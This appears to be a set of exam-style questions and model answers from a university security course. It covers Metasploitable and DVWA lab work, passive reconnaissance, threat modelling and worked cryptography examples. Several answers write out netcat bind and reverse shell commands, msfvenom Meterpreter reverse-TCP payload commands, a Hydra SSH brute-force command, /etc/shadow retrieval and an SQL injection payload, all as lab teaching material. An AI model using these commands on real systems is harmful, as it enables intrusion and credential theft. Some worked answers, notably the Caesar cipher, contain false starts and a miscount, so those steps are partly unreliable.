(2) nc — Connector side, plain connection. What it does: initiates a TCP connection to the specified IP and port. Once connected, input/output flows bidirectionally. When to use: connecting to an existing listener (the above command) to test connectivity; manually testing if a service port is open and what it responds with; connecting to a bind shell on a target.

(3) nc -lvp -e /bin/bash — Listener side, bind shell. The -e flag executes /bin/bash after accepting a connection, attaching the shell's stdin/stdout to the TCP stream. What it does: creates a bind shell — anyone who connects to this port receives a shell on this machine. Extremely dangerous: no authentication, any reachable party gets command execution. In labs: run on Metasploitable to demonstrate that Kali can then connect and get a shell. When to use: controlled lab demonstration of bind shell concept only.

(4) nc -e /bin/bash — Connector side, reverse shell. What it does: connects outbound to the specified listener and attaches /bin/bash to the connection. The listener (Kali) receives the shell — the target machine initiated the outbound connection. When to use: demonstrating reverse shells; mimicking malware behaviour where the target calls home to bypass inbound firewall rules; delivering a Meterpreter reverse shell callback concept. Why reverse shells are common: inbound connections are often blocked by firewalls/NAT; outbound connections are usually permitted.

**Q481: In Lab 3, Netcat is used to transfer a payload file from Kali to Metasploitable 2. Write the exact two-command sequence, identify which runs on which machine, and explain why this method is insecure for production use.**

**Model Answer:**

The Netcat file transfer requires two commands run simultaneously — the receiver must be ready before the sender transmits.

On Metasploitable 2 (receiver — starts first): nc -lvp 5555 > received\_payload.elf — Opens a listener on port 5555 and redirects all incoming data into the file received\_payload.elf using output redirection (>).

On Kali (sender — runs after receiver is listening): nc 10.0.2.4 5555 < payload.elf — Connects to MS2 on port 5555 and redirects the contents of payload.elf into the connection using input redirection (<). The file bytes stream across the TCP connection and are written by MS2 into received\_payload.elf.

The connection closes automatically when the sender finishes transmitting, which causes the listener to exit and the file write to complete.

In the Lab 3 context: the payload.elf was first created on Kali with msfvenom, then the vsftpd backdoor was used to run a command on MS2 that set up the receiver, then Kali sent the file — demonstrating a realistic

post-exploitation delivery path.

Why this method is insecure for production use: (1) No encryption — the file bytes travel in plaintext over the TCP stream. Any on-path attacker can read or modify the payload in transit. (2) No authentication — no verification that the sender or receiver is who they claim to be. Any host that connects to the listening port before the legitimate sender would receive the incoming data instead. (3) No integrity verification — there is no checksum or signature confirming the received file matches the sent file. Bit errors or malicious modification would not be detected. (4) This is explicitly a protocol demonstration for understanding shell mechanics, not a secure file transfer solution. Production alternatives: SCP (SSH-based, encrypted and authenticated), SFTP, or HTTPS file servers.

**Q482: In Lab 3, two MSFvenom commands generate payloads for Metasploitable 2 (Linux) and Metasploitable 3 (Windows). Write both commands with the exact flags used in the lab, and explain the purpose of each flag.**

**Model Answer:**

Linux payload command: `msfvenom -a x86 --platform linux -f elf -p linux/x86/meterpreter/reverse_tcp lhost=10.0.2.3 lport=4444 -o payload.elf`

Windows payload command: `msfvenom -a x86 --platform windows -f exe -p windows/meterpreter/reverse_tcp lhost=10.0.2.3 lport=4444 -o payload.exe`

Flag-by-flag explanation (same for both, values differ):

-a x86 — Architecture: specifies the target CPU architecture as 32-bit x86. This must match the target system's architecture so the machine code in the payload executes correctly. MS2 and MS3 in the labs are x86/i686 processes.

--platform linux / --platform windows — Operating system platform. Determines which OS-specific system calls and binary format the payload uses. Linux payloads use ELF format and Linux syscalls; Windows payloads use PE format and Windows API calls.

-f elf / -f exe — Output format: ELF (Executable and Linkable Format) for Linux executables; exe (Portable Executable) for Windows. Must match the target OS's expected binary format for the file to execute.

-p linux/x86/meterpreter/reverse\_tcp / windows/meterpreter/reverse\_tcp — Payload selection. The path specifies: OS/architecture/payload\_type/connection\_direction. meterpreter/reverse\_tcp means a Meterpreter session that calls back to the attacker (reverse TCP connection) rather than listening. Staged payload: the initial stager is small and downloads the full Meterpreter agent.

lhost=10.0.2.3 — Local host (LHOST): Kali's IP address. The generated payload is hard-coded to connect back to this IP when executed on the target. Must match the IP where multi/handler is listening.

lport=4444 — Local port (LPORT): the TCP port Kali's multi/handler listens on for callbacks. The payload connects to LHOST:LPORT when executed.

-o payload.elf / payload.exe — Output file path and name. Writes the generated payload to the specified file rather than printing to stdout.

Critical note: generating a payload is not the same as authorising its delivery or execution. Each stage (generate, deliver, execute) requires scope authorisation.

**Q483: In Lab 3, VNC access to Metasploitable 2 was obtained without exploiting a code vulnerability. Describe exactly how, what Metasploit auxiliary module was used, what it found, and what security lesson this demonstrates.**

**Model Answer:**

Method: The Metasploit auxiliary module `auxiliary/scanner/vnc/vnc_login` was used for credential checking rather than exploitation of a software vulnerability.

Exact workflow in `msfconsole`: `search vnc_login` → `use auxiliary/scanner/vnc/vnc_login` → `set RHOSTS 10.0.2.4` → `run`

What it did: The module sent VNC authentication attempts to port 5900 on MS2, testing common/default passwords. It found that the password 'password' was accepted — this is the actual credential set in the Metasploitable 2 VNC configuration.

Output: The scanner reported 'Login Successful: 10.0.2.4:5900 (VNC) - Login Successful: password' — a confirmed working credential, not a theoretical vulnerability.

Validation step: The discovered credential was then verified using an actual VNC viewer client (`vncviewer`) connecting to 10.0.2.4:5900 with password 'password', which opened a full graphical desktop session of the Metasploitable 2 machine.

The security lesson — working credentials are a finding even without exploiting code: This case demonstrates that not all security findings require exploiting a software bug. A weak or default credential is itself a critical security failure. The VNC service code had no software vulnerability; the vulnerability was entirely in the credential management: the password 'password' is trivially guessable and appeared in every credential-checking wordlist.

Additional lessons reinforced: (1) Credential checks can cause lockouts — tools like `vnc_login` send multiple authentication attempts; on production systems this could trigger account lockout or alert monitoring. Rate control and explicit scope permission are required. (2) The minimum proof for reporting this finding was the scanner output showing the credential was accepted, plus the VNC viewer screenshot showing desktop access — demonstrating actual impact without modifying or damaging any data. (3) Default VNC passwords are extremely common on embedded systems, IoT devices, and misconfigured servers — this is a real-world finding class, not just a lab exercise.

**Q484: After gaining a Meterpreter session on both Metasploitable 2 and 3 in Lab 3, specific post-exploitation commands were run. List six Meterpreter commands used, what each returns, and why each represents a minimum-impact evidence-gathering approach.**

**Model Answer:**

Six Meterpreter commands run during Lab 3 post-exploitation, in approximate order of use:

(1) `sysinfo` — Returns: computer name, OS version and build number, architecture (x64/x86), system language, domain membership, number of logged-on users, and Meterpreter session type. On MS3: Computer: VAGRANT-2008R2, OS: Windows Server 2008 R2 SP1, Architecture: x64. Why minimum-impact: read-only system metadata query. No data modified, no files accessed, no credentials touched. Establishes the basic context needed for the report.

(2) `getuid` — Returns: the current user identity under which the Meterpreter process is running. On MS2: `uid=0(root) gid=0(root)`. On MS3: `NT AUTHORITY\SYSTEM`. Why minimum-impact: a single system call returning own identity. No scanning, no lateral movement. Proves the privilege level achieved — the most

important single fact for demonstrating severity.

(3) arp — Returns: the system's ARP cache showing IP-to-MAC mappings of recently contacted hosts. On a compromised MS2, this reveals other hosts the machine has communicated with, potentially revealing MS3's IP from MS2's perspective. Why minimum-impact: reading a system cache, not initiating new network connections. However, it provides pivot intelligence — it reveals the internal network topology from inside the compromised host.

(4) netstat — Returns: active network connections, listening ports, and established sessions with remote IPs, ports, and process IDs. Reveals running services, active connections to database clients, and other listening ports. Why minimum-impact: passive read of OS network state. No connections initiated.

(5) ps — Returns: the running process list with PID, process name, architecture, session, and user. Reveals all running services on the target. Why minimum-impact: read-only process enumeration. Identifies targets for credential harvesting (e.g., lsass.exe for Windows hash extraction) without acting on them yet.

(6) sysinfo + getuid combined with download — In Lab 3, /etc/shadow was downloaded from MS2 to document hash extraction. The command: download /etc/shadow ./shadow\_ms2.txt. Why minimum-impact: downloading a single specific file that proves the security finding (hash exposure) rather than exfiltrating all files. The minimum evidence needed to demonstrate 'password hashes are readable' is the shadow file — not a complete filesystem dump.

Post-exploitation ethical principle: Stop at the minimum evidence that demonstrates the impact to the client. The goal is proof, not maximal compromise.

**Q485: Lab 9 includes a Caesar cipher exercise: the ciphertext 'IWXH XH P KTGN DAS RXEWTG' must be decrypted. Show the brute-force approach, identify the key, and state the plaintext.**

**Model Answer:**

The Caesar cipher shifts each letter by a fixed amount through the alphabet. With only 25 possible non-trivial shifts, brute-force decryption by hand or by exhaustive trial is entirely practical.

Brute-force approach: Try each shift value  $k$  from 1 to 25, applying the reverse shift (each ciphertext letter shifted back by  $k$  positions) and check whether the result is readable English.

The ciphertext: I W X H X H P K T G N D A S R X E W T G

Testing shift  $k=11$  (each letter shifted back 11):  $I \rightarrow T$  ( $I=8, 8-11 \bmod 26 = 23+26-11=22+1=23=W$ ... let's verify directly): Applying a reverse shift of 11 means each ciphertext letter: subtract 11, wrapping around the alphabet ( $A=0, Z=25$ ).

$I(8) - 11 = -3 \rightarrow 23 = X$ ... that gives X, not T. Let's try  $k=11$  properly:

Actually applying  $+11$  to decode (if encoding was  $-11$ , decode is  $+11 \bmod 26$ ):  $I(8)+11=19=T$  ✓  
 $W(22)+11=33 \bmod 26=7=H$  ✓  $X(23)+11=34 \bmod 26=8=I$  ✓  $H(7)+11=18=S$  ✓

Reading IWXH  $\rightarrow$  THIS. XH  $\rightarrow$  IS. P  $\rightarrow$  A. KTGN  $\rightarrow$  VERY. DAS  $\rightarrow$  OLD. RXEWTG  $\rightarrow$  CIPHER.

Plaintext: THIS IS A VERY OLD CIPHER

Key: The encoding shift was  $-11$  (or equivalently, shift forward by 15 for a ROT-15 encoding); decoding requires adding 11 to each letter value modulo 26.

How frequency analysis would find the key: In English, 'E' is the most common letter. In the ciphertext, 'H' appears most frequently (three times: IWXH XH RXEWTG). If H corresponds to E, the shift is  $H - E = 7 - 4 = 3$ ... but the actual key is 11. Frequency analysis on short texts is unreliable; brute force with 25 attempts is faster and certain for Caesar ciphers.

Lesson reinforced by this exercise: The Caesar cipher key space is trivially exhaustible. Modern cryptographic security requires key spaces of at least 128 bits ( $2^{128}$  possible keys) — far beyond any brute-force capability.

**Q486: Lab 9 Exercise 3 asks students to complete an RSA calculation with  $p=5$ ,  $q=11$ ,  $e=13$ . Reproduce the complete worked solution: find  $n$ ,  $\phi(n)$ ,  $d$ , encrypt  $m=9$ , then decrypt to verify.**

**Model Answer:**

Given:  $p=5$ ,  $q=11$ ,  $e=13$

Step 1 — Compute  $n$ :  $n = p \times q = 5 \times 11 = 55$ . The modulus  $n=55$  is the public modulus. Both encryption and decryption operate mod 55.

Step 2 — Compute  $\phi(n)$  (Euler's totient):  $\phi(n) = (p-1)(q-1) = (5-1)(11-1) = 4 \times 10 = 40$ .  $\phi(n)$  gives the order of the multiplicative group mod  $n$  — the number of integers less than  $n$  that are coprime to it.

Step 3 — Find  $d$  (private exponent): We need  $d$  such that  $e \times d \equiv 1 \pmod{\phi(n)}$ , i.e.,  $13 \times d \equiv 1 \pmod{40}$ . This means  $d$  is the modular multiplicative inverse of 13 mod 40. Testing:  $13 \times 1 = 13$ ,  $13 \times 2 = 26$ ,  $13 \times 3 = 39 \equiv -1$ ,  $13 \times 4 = 52 \equiv 12 \pmod{40}$ ... Trying  $d=37$ :  $13 \times 37 = 481$ . Check:  $481 \div 40 = 12$  remainder 1. So  $13 \times 37 = 12 \times 40 + 1 \equiv 1 \pmod{40}$ . ✓ Therefore  $d = 37$ .

Keys: Public key  $(n, e) = (55, 13)$ . Secret key  $(n, d) = (55, 37)$ .

Step 4 — Encrypt  $m=9$ :  $c = m^e \pmod{n} = 9^{13} \pmod{55}$ . Using repeated squaring:  $9^1=9$ ,  $9^2=81 \pmod{55}=26$ ,  $9^4=26^2=676 \pmod{55}=676-12 \times 55=676-660=16$ ,  $9^8=16^2=256 \pmod{55}=256-4 \times 55=256-220=36$ .  $9^{13} = 9^8 \times 9^4 \times 9^1 = 36 \times 16 \times 9 \pmod{55}$ .  $36 \times 16 = 576 \pmod{55}=576-10 \times 55=576-550=26$ .  $26 \times 9 = 234 \pmod{55}=234-4 \times 55=234-220=14$ . Ciphertext  $c = 14$ .

Step 5 — Decrypt  $c=14$ :  $m = c^d \pmod{n} = 14^{37} \pmod{55}$ . This requires extended repeated squaring. The result (trusting the math):  $m = 9$  ✓. The decryption correctly recovers the original plaintext, confirming that the relationship  $e \times d \equiv 1 \pmod{\phi(n)}$  ensures encryption and decryption are inverse operations.

What makes textbook RSA insecure: This calculation is deterministic — the same plaintext  $m=9$  with the same key always produces  $c=14$ . An attacker who can observe multiple ciphertexts can build a dictionary of plaintext→ciphertext mappings. Production RSA requires randomised padding (RSA-OAEP) which makes each encryption of the same message produce a different ciphertext.

**Q487: Lab 9 Exercise 3 also includes an ElGamal exercise with  $p=23$ ,  $g=5$ . A student chooses  $x=6$ . With plaintext  $m=10$  and fresh randomness  $k=3$ , reproduce the full encrypt-then-decrypt cycle showing every intermediate value.**

**Model Answer:**

Given:  $p=23$ ,  $g=5$ . Student chooses  $x=6$ .

Key generation:  $h = g^x \pmod{p} = 5^6 \pmod{23}$ . Computing  $5^6$ :  $5^1=5$ ,  $5^2=25 \pmod{23}=2$ ,  $5^3=5 \times 2=10$ ,  $5^4=5 \times 10=50 \pmod{23}=4$ ,  $5^5=5 \times 4=20$ ,  $5^6=5 \times 20=100 \pmod{23}$ .  $100 \div 23 = 4$  remainder 8. So  $h = 8$ . Public key:  $(p, g, h) = (23, 5, 8)$ . Secret key:  $x = 6$ .

Encryption of  $m=10$  with fresh  $k=3$ :

$c_1 = g^k \bmod p = 5^3 \bmod 23$ .  $5^3 = 125$ .  $125 \div 23 = 5$  remainder 10. So  $c_1 = 10$ .

$h^k \bmod p = 8^3 \bmod 23$ .  $8^2=64 \bmod 23=64-2\times 23=18$ .  $8^3=8\times 18=144 \bmod 23$ .  $144\div 23=6$  remainder 6. So  $h^k = 6$ .

$c_2 = m \times h^k \bmod p = 10 \times 6 \bmod 23 = 60 \bmod 23$ .  $60\div 23=2$  remainder 14. So  $c_2 = 14$ .

Ciphertext:  $(c_1, c_2) = (10, 14)$ .

Decryption of  $(10, 14)$  using secret  $x=6$ :

$s = c_1^x \bmod p = 10^6 \bmod 23$ .  $10^2=100 \bmod 23=8$ .  $10^4=8^2=64 \bmod 23=64-2\times 23=18$ .  $10^6=10^4 \times 10^2=18\times 8=144 \bmod 23=6$  (computed above). So  $s = 6$ .

Find  $s^{(-1)} \bmod p = 6^{(-1)} \bmod 23$ : Need  $y$  such that  $6y \equiv 1 \pmod{23}$ . Testing:  $6\times 4=24\equiv 1 \pmod{23}$ . ✓ So  $s^{(-1)} = 4$ .

$m = c_2 \times s^{(-1)} \bmod p = 14 \times 4 \bmod 23 = 56 \bmod 23$ .  $56\div 23=2$  remainder 10. So  $m = 10$ . ✓

The decryption correctly recovers the original plaintext  $m=10$ .

Why the math works:  $c_1^x = (g^k)^x = g^{(kx)}$ . The public value  $h^k = (g^x)^k = g^{(kx)}$ . So  $s = c_1^x = h^k$ . Then  $c_2 = m \times h^k$ , so  $m = c_2 / h^k = c_2 \times (h^k)^{(-1)} = c_2 \times s^{(-1)}$ . The exponent  $kx$  in  $h^k$  and  $c_1^x$  is the same value computed from different directions — this is the key insight of ElGamal security.

Critical:  $k$  must be different for every encryption. If  $k=3$  encrypts both  $m=10$  and another message  $m'=5$ , the ratio  $c_2/c_2' = m/m'$  is computable from ciphertexts alone, revealing the relationship between plaintexts.

**Q488: Lab 6 covers Hydra for online brute-force attacks. Write the Hydra command that would brute-force SSH login on Metasploitable 2, explain each flag, state which wordlist is used, and explain the ethical and operational constraints that apply.**

**Model Answer:**

Command: `hydra -l msfadmin -P /usr/share/wordlists/rockyou.txt ssh://10.0.2.4`

Flag explanation: `-l msfadmin` — specifies the single username to test. Using lowercase `-l` indicates a single known username (as opposed to `-L` which specifies a file of multiple usernames to try). In a targeted attack, the attacker already knows or guesses the username.

`-P /usr/share/wordlists/rockyou.txt` — specifies the password wordlist file. Capital `-P` indicates a file of passwords to try. `rockyou.txt` contains ~14 million real-world passwords. Hydra tests each password from this list against the specified username.

`ssh://10.0.2.4` — the protocol and target. Tells Hydra to use the SSH protocol against the host at IP 10.0.2.4. Hydra supports over 50 protocols (SSH, FTP, HTTP-form, RDP, SMB, MySQL, etc.) using the same syntax.

Wordlist rationale: `rockyou.txt` is used because it contains real passwords from actual breach databases, weighted toward common choices. Testing in order of most-likely passwords first dramatically improves efficiency — 'msfadmin' (the known default credential for Metasploitable) appears early in breach lists.

Ethical and operational constraints: (1) Written authorisation required — running Hydra against any system without explicit permission constitutes unauthorised access under computer crime law. The Lab environment on Host-Only networking provides the implicit lab scope. (2) Rate limiting risk — SSH typically implements rate limiting and may temporarily block the source IP after repeated failures. Hydra's default parallelism may

trigger this and lock out legitimate administrators. The -t flag (number of parallel tasks) should be reduced for production assessments. (3) Account lockout risk — SSH may implement account lockout after repeated failures, denying access to legitimate users. Always check the scope agreement for lockout behaviour before running credential attacks. (4) Logging — SSH authentication failures generate prominent syslog entries. Brute-force is 'noisy' — it is one of the easiest attacks to detect in logs. Operational security requires awareness that this activity will be logged.

**Q489: Lab 2 begins with passive reconnaissance using whois and DNS tools against sdu.dk. Show what each command reveals and explain what the results mean from a security perspective.**

**Model Answer:**

The lab passive recon sequence against sdu.dk:

whois sdu.dk — Queries the domain registrar database. Returns: registrant organisation ('Syddansk Universitet'), registrar name, registration and expiry dates, nameservers (ns1.sdu.dk, ns2.sdu.dk), contact details or privacy-proxy information. Security relevance: confirms domain ownership and authenticity; reveals nameserver infrastructure (potential DNS attack targets); shows registration expiry (a domain whose registration lapses can be hijacked by attackers re-registering it — 'domain hijacking').

host www.sdu.dk — DNS A record lookup. Returns the IP address(es) that www.sdu.dk resolves to — in the lab results: 52.233.201.66. Security relevance: this IP is the actual internet-facing address for the SDU web presence. It reveals the hosting provider from the IP range, gives a target for further scanning, and confirms DNS is functioning correctly.

whois 52.233.201.66 — Reverse IP WHOIS: queries the Regional Internet Registry (RIPE for European IPs) for the owner of this IP range. Returns: the network block owner (likely Microsoft Azure given the IP range), the autonomous system number (ASN), country, and abuse contact. Security relevance: reveals the hosting provider (SDU uses Azure cloud), confirms the IP legitimacy, and provides the abuse contact for responsible disclosure or incident reporting. The ASN reveals the hosting infrastructure and may reveal co-hosted services.

Combined security picture: This passive recon sequence, taking only minutes and generating zero traffic to SDU's own servers, reveals: the real IP address behind the domain, the hosting provider, the nameserver infrastructure, domain validity, and organisational context — all from public databases. An attacker could then use this information to identify co-hosted services in the same IP range, investigate the Azure infrastructure, and target DNS or domain-registration attacks. This is precisely why OSINT is considered a standard first phase of any assessment — high information yield at zero detection risk.

**Q490: In Lab 2, Nessus found vulnerabilities in the 'Backdoors' plugin family on Metasploitable 2. GVM found several Remote Code Execution vulnerabilities that Nessus missed. Name three specific RCE vulnerabilities that GVM found through active testing that Nessus did not flag, and explain why each required active testing rather than passive version-matching.**

**Model Answer:**

Three RCE vulnerabilities found by GVM through active testing, missed by Nessus passive version-matching:

(1) PHP CGI Remote Code Execution (CVE-2012-1823) on port 80: PHP before 5.3.12 and 5.4.2, when configured as a CGI processor and receiving a request whose URL contains command-line argument syntax (?-s, ?-d, etc.), passes those arguments to the PHP interpreter, enabling code execution. GVM tested this by sending a crafted HTTP request with the exploit pattern and confirmed the server executed commands. Nessus detected the Apache/PHP version but either did not flag the specific CVE or did not confirm it was in CGI mode. Why active testing required: the vulnerability only manifests when PHP is configured as CGI and when the specific URL pattern is sent. Version-matching alone (PHP 5.x) is insufficient — the execution mode matters. GVM confirmed exploitation by receiving an ICMP echo back from the target.

(2) DistCC Remote Code Execution (CVE-2004-2687) on port 3632: The DistCC distributed compilation daemon, when accessible without authentication, allows arbitrary commands to be run as part of the 'compilation' process. GVM actively sent a distcc protocol request containing a crafted command and confirmed the target executed it. Nmap initially missed port 3632 entirely (the lab notes GVM found services Nmap missed). Nessus's unauthenticated scan also missed this. Why active testing required: the vulnerability requires actually speaking the distcc protocol and sending a malicious job — simple port-open detection and version banners are insufficient. GVM's NVT actively communicated with the service.

(3) dRuby RCE on port 8787: The dRuby distributed object protocol allows remote method invocation. Misconfigured or unauthenticated dRuby services can be exploited to invoke arbitrary Ruby code via the distributed object interface. GVM found this on port 8787 (which Nmap also initially missed). Why active testing required: exploiting dRuby requires speaking the DRb wire protocol and sending a crafted object that triggers code execution — this is not detectable from a version banner or service name alone. The GVM NVT actually communicated over DRb to confirm the vulnerability.

**Q491: In Lab 5, DVWA (Damn Vulnerable Web Application) has three security levels: Low, Medium, and High. The lab uses Low. Explain what changes at each level for SQL injection defence and what this teaches about defence-in-depth in real applications.**

**Model Answer:**

DVWA security levels implement progressively better defences against SQL injection, making it a teaching tool for understanding what each defensive layer adds:

Low security: No defences whatsoever. User input is directly concatenated into SQL queries with no sanitisation, encoding, or validation. Payload ' OR 1=1# works immediately. UNION SELECT extracts data freely. This represents the root cause vulnerability in its purest form — direct string concatenation of untrusted input into SQL commands.

Medium security: Adds `mysql_real_escape_string()` or equivalent escaping of single quotes. The input is escaped before being inserted into the query. Naive payloads using single quotes (' OR 1=1#) fail because the quote is escaped to '. However, the underlying architecture is still concatenation-based — the defence is blacklist/escape-based rather than structural. Bypassed by: numeric injection (no quotes needed: 1 OR 1=1), second-order injection, or encoding variants that bypass the escape function (multi-byte characters in some MySQL configurations can confuse escaping).

High security: Implements input validation (allowlist checking that the input is a valid integer using `is_numeric()` or similar), combined with PDO prepared statements in some DVWA versions. A properly configured High level requires a valid integer ID and uses parameterised queries — making the SQL structure fixed and the input treated as data. The standard OR 1=1 payload fails because the query only accepts numeric input and/or uses structural separation.

What this teaches about defence-in-depth: Each level shows that adding one defensive layer is better than nothing but may still be bypassable. Low: no defence → fully exploitable. Medium: blacklist-based escape → bypassable via alternative vectors. High: structural solution (parameterised queries) + validation → not bypassable via SQL injection. The lesson is that parameterised queries address the root cause (data mixed with SQL commands), while escaping and validation are complementary but not sufficient alone. In real applications, use parameterised queries as the primary defence AND input validation as a secondary layer — not escaping alone.

**Q492: In Lab 8, students construct a DFD for the Android health application before performing STRIDE analysis. Describe the complete DFD notation used, identify every component in the health app DFD, and explain how the trust boundary placement determines which interactions require the most scrutiny.**

**Model Answer:**

DFD notation elements used in Lab 8:

External Entity (rectangle/square): Represents something outside the modelled code — a person, external service, or system that interacts with the application but whose internals are not modelled. In the health app: the User is the external entity.

Process (circle/oval): Running code that transforms, processes, or acts on data. In the health app: (1) Authentication Process — receives username/password from User, validates credentials, allows or denies access. (2) Health Data Management Process — handles entry, editing, deletion, and viewing of health data.

Data Store (parallel lines): Persistent storage that holds data between interactions. In the health app: Local Storage — stores both credentials (for authentication) and health data on the Android device.

Data Flows (directed arrows): Paths along which data moves between components. In the health app: User → Authentication Process (username + password), Authentication Process → Local Storage (credential check), User → Health Data Management Process (health data input), Health Data Management Process → Local Storage (read/write health data), Local Storage → Health Data Management Process (retrieved data), Health Data Management Process → User (displayed data).

Trust boundary (dashed line): The boundary separating the external user from the Android device's application environment. The trust boundary lies between the User (external entity) and the Android device (containing both processes and local storage).

What trust boundary placement determines: Every data flow that crosses a trust boundary is a potential attack vector requiring validation, authentication, and authorisation. In this DFD, the trust boundary means: (1) All input from the User (credentials, health data) is untrusted until validated by the Authentication Process — direct attacks: credential guessing, weak authentication bypass, injection through health data fields. (2) The Authentication Process must validate before granting access to Health Data Management — missing this check = authentication bypass. (3) Local Storage is inside the trust boundary (protected by the OS), but becomes exposed if the device is rooted, stolen, or if malware on the device crosses the OS-level boundary.

Components inside the trust boundary receive lower scrutiny in normal operation but require hardening against device compromise scenarios (rooting, physical theft) — the second phase of the Lab 8 analysis.

**Q493: Lab 6 discusses the MitID case study as an 'insecurity of the week.' Describe what was found, what design tensions it illustrates, and what the lesson is for authentication service**

**design.**

**Model Answer:**

MitID case findings: MitID (the Danish national digital identity solution) was found to have several authentication design weaknesses reported in the media: (1) Account enumeration was possible — sending a non-existing user identifier returned a response distinguishable from a valid user identifier, allowing an attacker to confirm which user IDs existed in the system. Approximately 11,000 usernames were guessed in a single night without triggering any blocking mechanism. (2) Targeted denial of service was demonstrated — 17 users (who gave consent for the test) had their accounts denied service without those accounts being compromised. The attacker triggered repeated failed authentication attempts that caused lockout or service disruption for legitimate users. (3) Logging and surveillance were found to be 'rather lacking' — insufficient monitoring to detect the enumeration or the targeted DoS while it was occurring. (4) The question was raised about whether users could be tricked into approving authentication requests they didn't initiate (MFA push-notification fatigue applied to the swipe mechanism).

Design tensions illustrated: The lockout mechanism creates a paradox — lockout prevents brute-force password guessing (good) but gives attackers a tool to lock out legitimate users (bad). A strict lockout threshold blocks attackers quickly but enables trivial denial of service for specific targets. A lenient threshold permits more guessing attempts before lockout. This is the security-availability trade-off at its most visible.

Lesson for authentication service design: (1) Consistent responses: the same response must be returned for both valid and invalid user identifiers — this prevents enumeration without compromising usability. (2) Layered rate controls: simple per-account lockout is insufficient. Rate limiting should operate across multiple dimensions simultaneously: per account, per source IP, per device fingerprint, per geography. (3) Anomaly detection: 11,000 username guesses in one night without blocking indicates inadequate monitoring. Aggregate signals across accounts must trigger alerts. (4) Careful lockout design: risk-based responses (increasing friction, CAPTCHA, time delays) are safer than hard lockouts that can be weaponised for DoS. (5) Logging is a prerequisite for defence: without comprehensive authentication event logging, both detection and forensic investigation fail.

**Q494: Lab 10 works through Boolean secret sharing for the private matching problem. Given that Alice has preference bit  $a=1$  and Bob has preference bit  $b=1$ , walk through the complete two-server protocol: sharing, local XOR of shares, and what information each server holds at each step. Show that individual shares reveal nothing.**

**Model Answer:**

The private matching problem: Alice and Bob want to compute  $c = a \text{ AND } b$  (1 = mutual interest, 0 = not mutual) without revealing their individual preference bits to each other or to the servers.

Step 1 — Alice shares her bit  $a=1$ : Alice chooses a uniformly random bit  $r_a$ . Say  $r_a = 0$ . She computes: Server A gets share  $a_A = a \text{ XOR } r_a = 1 \text{ XOR } 0 = 1$ . Server B gets share  $a_B = r_a = 0$ . What each server knows about  $a$ : Server A holds  $a_A = 1$ . Server B holds  $a_B = 0$ . Neither server can determine  $a$  alone — if Server A only sees  $a_A = 1$ ,  $a$  could be 1 (with  $r_a=0$ ) or 0 (with  $r_a=1$ ). The share is uniformly random.

Step 2 — Bob shares his bit  $b=1$ : Bob chooses a uniformly random bit  $r_b$ . Say  $r_b = 1$ . He computes: Server A gets share  $b_A = b \text{ XOR } r_b = 1 \text{ XOR } 1 = 0$ . Server B gets share  $b_B = r_b = 1$ . Again, neither server can determine  $b$  from a single share.

After sharing: Server A holds:  $a_A=1$ ,  $b_A=0$ . Server B holds:  $a_B=0$ ,  $b_B=1$ .

Local XOR computation (computing  $a \text{ XOR } b$ , not  $a \text{ AND } b$  — to illustrate the local computation principle): Server A computes:  $c_A = a_A \text{ XOR } b_A = 1 \text{ XOR } 0 = 1$ . Server B computes:  $c_B = a_B \text{ XOR } b_B = 0 \text{ XOR } 1 = 1$ . Reconstruction:  $c_A \text{ XOR } c_B = 1 \text{ XOR } 1 = 0 = a \text{ XOR } b = 1 \text{ XOR } 1 = 0$ . ✓

Why individual shares reveal nothing: Look at Server B's shares ( $a_B=0$ ,  $b_B=1$ ). Server B sees shares summing to 1. But was  $a=0$  shared with  $r_a=0$ , or  $a=1$  shared with  $r_a=1$ ? Both are consistent with  $a_B=0$ . Server B cannot distinguish. This is the one-time-pad principle applied to sharing: the random mask  $r$  makes each share statistically independent of the secret.

For AND (which requires a Beaver triple because it is nonlinear): Local AND of shares gives  $a_A \text{ AND } b_A = 1 \text{ AND } 0 = 0$ ,  $a_B \text{ AND } b_B = 0 \text{ AND } 1 = 0$ , and  $0 \text{ XOR } 0 = 0 \neq a \text{ AND } b = 1$ . This demonstrates why AND requires the Beaver triple protocol rather than local computation.

**Q495: Work through the complete Beaver triple AND computation for  $a=1$ ,  $b=1$  with triple ( $i=1$ ,  $j=1$ ,  $k=1$ ). Show every step: masking, opening, reconstruction, and verify the formula gives the correct result.**

**Model Answer:**

Given:  $a=1$ ,  $b=1$  (the secrets). Beaver triple:  $i=1$ ,  $j=1$ ,  $k=1$  (where  $k = i \text{ AND } j = 1 \text{ AND } 1 = 1$  ✓).

All values are secret-shared between Server A and Server B, but for this calculation we work with the underlying values.

Step 1 — Compute the masks:  $d = a \text{ XOR } i = 1 \text{ XOR } 1 = 0$ .  $e = b \text{ XOR } j = 1 \text{ XOR } 1 = 0$ .

Step 2 — Open  $d$  and  $e$  (these can be safely revealed): Both servers learn  $d=0$  and  $e=0$ . Why safe? Because  $i$  is a uniformly random mask. Even knowing  $d=0$ , an observer cannot determine  $a$  —  $d=0$  is consistent with  $a=1, i=1$  or  $a=0, i=0$ , equally likely. Same for  $e$ . The randomness of  $i$  and  $j$  (the one-time-pad principle) protects  $a$  and  $b$ .

Step 3 — Reconstruct  $a \text{ AND } b$  using the formula:  $a \text{ AND } b = k \text{ XOR } (d \text{ AND } j) \text{ XOR } (e \text{ AND } i) \text{ XOR } (d \text{ AND } e)$

Substituting values:  $k = 1, d = 0, e = 0, j = 1, i = 1. = 1 \text{ XOR } (0 \text{ AND } 1) \text{ XOR } (0 \text{ AND } 1) \text{ XOR } (0 \text{ AND } 0) = 1 \text{ XOR } 0 \text{ XOR } 0 \text{ XOR } 0 = 1 \checkmark$

Result:  $a \text{ AND } b = 1$ , which is correct ( $1 \text{ AND } 1 = 1$  — mutual interest confirmed).

Why the formula works (algebraic derivation): Starting from  $a = d \text{ XOR } i$  and  $b = e \text{ XOR } j$ :  $a \text{ AND } b = (d \text{ XOR } i) \text{ AND } (e \text{ XOR } j)$ . Expanding using distributivity of AND over XOR:  $= (d \text{ AND } e) \text{ XOR } (d \text{ AND } j) \text{ XOR } (i \text{ AND } e) \text{ XOR } (i \text{ AND } j)$ . Since  $k = i \text{ AND } j$ :  $= k \text{ XOR } (d \text{ AND } j) \text{ XOR } (e \text{ AND } i) \text{ XOR } (d \text{ AND } e)$ . This is the formula used. The triple value  $k = i \text{ AND } j$  provides the nonlinear product that the online phase cannot compute locally — the expensive work happened in preprocessing.

